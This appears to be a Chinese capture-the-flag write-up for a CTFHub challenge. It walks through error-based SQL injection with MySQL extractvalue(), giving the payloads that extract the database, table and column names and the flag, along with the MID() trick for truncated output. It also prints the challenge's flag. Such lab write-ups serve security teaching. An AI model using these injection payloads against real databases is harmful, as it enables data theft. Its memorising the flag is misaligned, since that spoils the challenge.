一、尝试报错注入,爆数据库名
输入查询语句:1 and extractvalue(1,concat(0x7e,database(),0x7e)) #
显示:查询错误: XPATH syntax error: '~sqli~',找到数据库为sqli
二、爆表名
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #
显示:查询错误: XPATH syntax error: '~news,flag~'
根据数据库名查询表名,查询出表名为news和flag,根据猜想flag在flag表中
三、爆列名
输入语句:1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)) #
查询错误: XPATH syntax error: '~flag~'
根据表名查询列名,查询出列名为flag
四、爆数据
输入语句:1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) #
显示:查询错误: XPATH syntax error: '~ctfhub{a03bc643f04605598c1193c1'
初次尝试,发现显示结果不全,推测此题对回显长度有限制
五、MID函数或select方式查询
1、直接select方式
输入语句:1 and extractvalue(1,(select flag from flag))--+
显示:查询错误: XPATH syntax error: '{a03bc643f04605598c1193c1}'
2、MID函数方式
1)、查询前16个字符
输入语句:1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16),0x7e)) #
显示:查询错误: XPATH syntax error: '~ctfhub{a03bc643'
2)、提取剩余字符
输入语句:1 and extractvalue(1,concat(0x7e,mid((select flag from flag),17),0x7e)) #
显示:查询错误: XPATH syntax error: 'f04605598c1193c1'
知识补充
MID()
函数用于从文本字段中提取字符。 SELECT MID(column_name,start[,length]) FROM table_name;
参数 | 描述 |
---|---|
column_name | 必需。要提取字符的字段。 |
start | 必需。规定开始位置(起始值是 1)。 |
length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |